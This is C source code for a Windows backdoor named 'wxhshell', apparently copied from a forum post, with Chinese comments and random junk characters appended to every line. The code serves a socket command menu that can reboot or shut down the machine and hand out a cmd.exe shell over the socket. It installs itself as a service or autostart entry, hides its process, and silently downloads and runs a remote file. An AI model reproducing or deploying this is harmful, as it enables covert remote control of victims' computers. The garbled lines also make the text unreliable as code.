    switch(cmd[0]) { .&h|r>*|J  
  Sw>,Q-32  
  // 帮助 t@iw&> 8z  
  case '?': { E5Ls/ H K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O(:/ &`)  
    break; `3z6y& dmx  
  } ]?NiY:v  
  // 安装 tg9{(_ t/W  
  case 'i': { Zq:c2/\c}  
    if(Install()) lg{M\ +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u)%/df qzZ  
    else L D%SLJ:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NS "1zR+  
    break; ,pUB[w\  
    } mApl;D X  
  // 卸载 ']Z%6_WF  
  case 'r': { kPO+M~+n  
    if(Uninstall()) w8#ji 1gX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"<M ~9T)  
    else &y-z[GR[{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D}N4*L1  
    break; v|@EuN14<  
    } F'@ 9kdp  
  // 显示 wxhshell 所在路径 j@4]0o  
  case 'p': { mILCC} Kt  
    char svExeFile[MAX_PATH]; f?(g5o*2  
    strcpy(svExeFile,"\n\r"); is^5TL%@  
      strcat(svExeFile,ExeFile); 4.>y[_vu  
        send(wsh,svExeFile,strlen(svExeFile),0); Ci2*5n<  
    break; lbh7`xCR  
    } /XdLdA!v  
  // 重启 &3itBQF  
  case 'b': { =p dLh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 474 oVdGx  
    if(Boot(REBOOT)) 1k{H,p7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-SVI9|<0  
    else { 4y $okn\}i  
    closesocket(wsh); |lyspD  
    ExitThread(0); ?`75ah  
    } (@=h(u.  
    break; %UG|R:  
    } 8k_hX^  
  // 关机 Un&rP70  
  case 'd': { Dw,LB>Eq,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n>)h9q S  
    if(Boot(SHUTDOWN)) n} ]gAX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$lJgj(  
    else { 3(:?Z-iKe  
    closesocket(wsh); g+xcKfN{  
    ExitThread(0); $- Y8@bw  
    } XG5"u  
    break; th5UzpB4  
    } *r|1 3|k  
  // 获取shell #fXy4iL l  
  case 's': { %2^V.`0T  
    CmdShell(wsh); K1o&(;l8G  
    closesocket(wsh); "5<YN#  
    ExitThread(0); :zpT Gk8Z  
    break; M" $g*j  
  } IU"8.(;o  
  // 退出 ly@%1  
  case 'x': { x6vkd%fCj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c]|Tg9AW  
    CloseIt(wsh); ojVN -*5  
    break; Ft_g~]kZo  
    } FR\r/+n:t0  
  // 离开 _j~y;R)  
  case 'q': { !|cM<}TF,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :\%hv>}|  
    closesocket(wsh); B|=S-5pv*  
    WSACleanup(); Qh]k)]+*|  
    exit(1); ]|[mwC4  
    break; 7(H?3)%0  
        } SE$l,Z"[*b  
  } 6}*4co  
  } 4%6@MQ[  
0;w84>M  
  // 提示信息 ^C}f|{J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~$1g"jIw  
} 8mO_dQ  
  } c#@L~<  
\t? ;p-+ta  
  return; !HXyvyDN  
} -1ci.4F&  
IcNZUZGE  
// shell模块句柄 _&]Gw, ~/i  
int CmdShell(SOCKET sock) ;h#Q!M&e#  
{ dx.Jv/Mb  
STARTUPINFO si; %mOQIXr1s  
ZeroMemory(&si,sizeof(si)); aED73:b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z'd]oNF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m=w #l>!  
PROCESS_INFORMATION ProcessInfo; 'a~F'FN$  
char cmdline[]="cmd"; =~q$k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Y, Rk  
  return 0; NYR:dH]N~d  
} r_o\72  
X#X/P  
// 自身启动模式 J~N!. i  
int StartFromService(void) MI`<U:-lP  
{ Ze?H  
typedef struct dX-j3lM:#  
{ j3[kG#  
  DWORD ExitStatus; G420o}q  
  DWORD PebBaseAddress; Q=epUHFs  
  DWORD AffinityMask; dSS Ai |}  
  DWORD BasePriority; nr&9\lG]G  
  ULONG UniqueProcessId; W^eQ}A+Z  
  ULONG InheritedFromUniqueProcessId; UAC"jy1D  
}   PROCESS_BASIC_INFORMATION; I1p{(fJ  
raM{!T:  
PROCNTQSIP NtQueryInformationProcess; UUvR>5@n  
k7 Ne(4P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6hHMxS^o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =vL >&$  
yx7y3TSq  
  HANDLE             hProcess; QO4eDSW  
  PROCESS_BASIC_INFORMATION pbi; NkAu<> G _  
LfvRH?<W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `U>]*D68  
  if(NULL == hInst ) return 0; -8S Z}J  
l?HC-_Pbh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u!McPM8Yk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <JW %h :\t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7&Ie3[Rm_3  
-r[O_[g w  
  if (!NtQueryInformationProcess) return 0; :GM3n$  
`/(9 #E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lv#}Gm  
  if(!hProcess) return 0; Zb+n\sv4  
IYhn*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^[q/w<_j~  
m4R:KjN*  
  CloseHandle(hProcess); $-39O3  
^+Vf*YY 8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /^`d o3a}  
if(hProcess==NULL) return 0; LXRIo2ynuw  
o3le[6C/8=  
HMODULE hMod; A=np ?wc  
char procName[255]; 6L-3cxqf\  
unsigned long cbNeeded; U \F ?{/  
ayLINpL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }50s\H._C  
cY|@s?3NND  
  CloseHandle(hProcess); z AY -Y  
E .CG  
if(strstr(procName,"services")) return 1; // 以服务启动 d;).| .}P  
eqyUI|e  
  return 0; // 注册表启动 WogCt,  
} RuOse9  
<"7Wb"+  
// 主模块 Pe@*')o*  
int StartWxhshell(LPSTR lpCmdLine) >{"E~U  
{ = @lM*  
  SOCKET wsl; Uf|@h  
BOOL val=TRUE; rW*[sLl3  
  int port=0; 2Xv$  
  struct sockaddr_in door; 6<YAoo  
9ol&p>  
  if(wscfg.ws_autoins) Install(); 9]g`VD6 <v  
6N/6WrQEeg  
port=atoi(lpCmdLine); 6vg` 8  
_ F2ofB'  
if(port<=0) port=wscfg.ws_port; 2WB`+oWox  
c(s: f@ 1  
  WSADATA data; @\U] hN?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $WsyAUl  
3k:`7E.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t24.u+O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VD+v \X_  
  door.sin_family = AF_INET; |[$ TT$Fb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OS=~<ba  
  door.sin_port = htons(port); +]e) :J  
caL \ d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $]J<^{v  
closesocket(wsl); s =<65  
return 1; a@C}0IP)  
} CZkmd  
{-hu""x>  
  if(listen(wsl,2) == INVALID_SOCKET) { lXutZ<S[  
closesocket(wsl); M'@  
return 1; 4!-/m7%eF  
} ah#jvp  
  Wxhshell(wsl); @/='BVb'T  
  WSACleanup(); BoHNni  
}RUK?:lEA  
return 0; cEGR?4z  
XM`&/)  
} B3E}fQm )  
yB4eUa!1  
// 以NT服务方式启动 Y"TrF(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a._>?rVy  
{  H@sM$8  
DWORD   status = 0;  *1 *i5c  
  DWORD   specificError = 0xfffffff; `KieN/d%  
tV2o9!N4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nd{k D>a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UTO$L|K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tzfk_h3hE  
  serviceStatus.dwWin32ExitCode     = 0; n9V8A[QJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 'N\nJz}  
  serviceStatus.dwCheckPoint       = 0; $]4o!Z  
  serviceStatus.dwWaitHint       = 0; )g ?'Nz  
U[hokwZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !j9(%,PR  
  if (hServiceStatusHandle==0) return; p\tA&>3-  
eRg;)[#0>$  
status = GetLastError(); pbG v\S F  
  if (status!=NO_ERROR) *~d<]U5h  
{ [=>[2Ty  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r>t|.=!  
    serviceStatus.dwCheckPoint       = 0; P8 R^46  
    serviceStatus.dwWaitHint       = 0; I:YE6${k!  
    serviceStatus.dwWin32ExitCode     = status; S~^]ib0  
    serviceStatus.dwServiceSpecificExitCode = specificError; w^[:wzF0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cjj(v7[E  
    return; ?8q4texf[  
  } va!fJ  
w=thaF.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -'Z-8  
  serviceStatus.dwCheckPoint       = 0; [2ri=lf,  
  serviceStatus.dwWaitHint       = 0; 4Td)1~zc3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DKG; up0  
} jm[f|4\  
0SJ(Ln`0K  
// 处理NT服务事件,比如:启动、停止 z\Z+>A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0bjZwC4J  
{ |oR#j `  
switch(fdwControl) uIR   
{ hPt=j{aJ%<  
case SERVICE_CONTROL_STOP: 5Trc#i<\  
  serviceStatus.dwWin32ExitCode = 0; 3lgD,_&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *]ME]2qP  
  serviceStatus.dwCheckPoint   = 0; \# 1p  
  serviceStatus.dwWaitHint     = 0; H`7T;`Yb  
  { y4Nam87;/?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )a$sx}  
  } 4r9AUmJqw  
  return; L tK,_j  
case SERVICE_CONTROL_PAUSE: h2 >a_0"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~jJe|zg>  
  break; Srrzj-9^)K  
case SERVICE_CONTROL_CONTINUE: |j4;XaG)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5E2T*EXSh  
  break; ;p:CrFv  
case SERVICE_CONTROL_INTERROGATE: ;B;wU.Y"  
  break; EH]qYF.  
}; (>gb9n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +KIFLuL  
} ;Ehv1{;  
]F"@+_E  
// 标准应用程序主函数 m2Wi "X(I_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aF.fd2k  
{ e)|5 P  
HcHwvf6y  
// 获取操作系统版本 nsu RG  
OsIsNt=GetOsVer(); (_fovV=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #X0Y8:vj  
l^rQo_alk  
  // 从命令行安装 m|PJwd6  
  if(strpbrk(lpCmdLine,"iI")) Install(); {G{ >Qa|  
iT</  
  // 下载执行文件 a!, X@5  
if(wscfg.ws_downexe) { ^N O4T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |^OK@KdL1  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gl9 ,!"A  
} ccy q~  
6Z{(.'Be  
if(!OsIsNt) { ghW  
// 如果时win9x,隐藏进程并且设置为注册表启动 j-t"  
HideProc(); S4 s#EDs  
StartWxhshell(lpCmdLine); i\kDb=  
} eCG{KCM~_Z  
else 2FR 5RG oD  
  if(StartFromService()) $rPQ%2eF4  
  // 以服务方式启动 A&X XL~yH  
  StartServiceCtrlDispatcher(DispatchTable); Xl E0oN~{  
else WLCr~r^  
  // 普通方式启动 "lL/OmG  
  StartWxhshell(lpCmdLine); Raf-I+  
~Sx\>wBlc  
return 0; &a'LOq+r'  
}
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只看该作者 1 发表于: 2006-10-10
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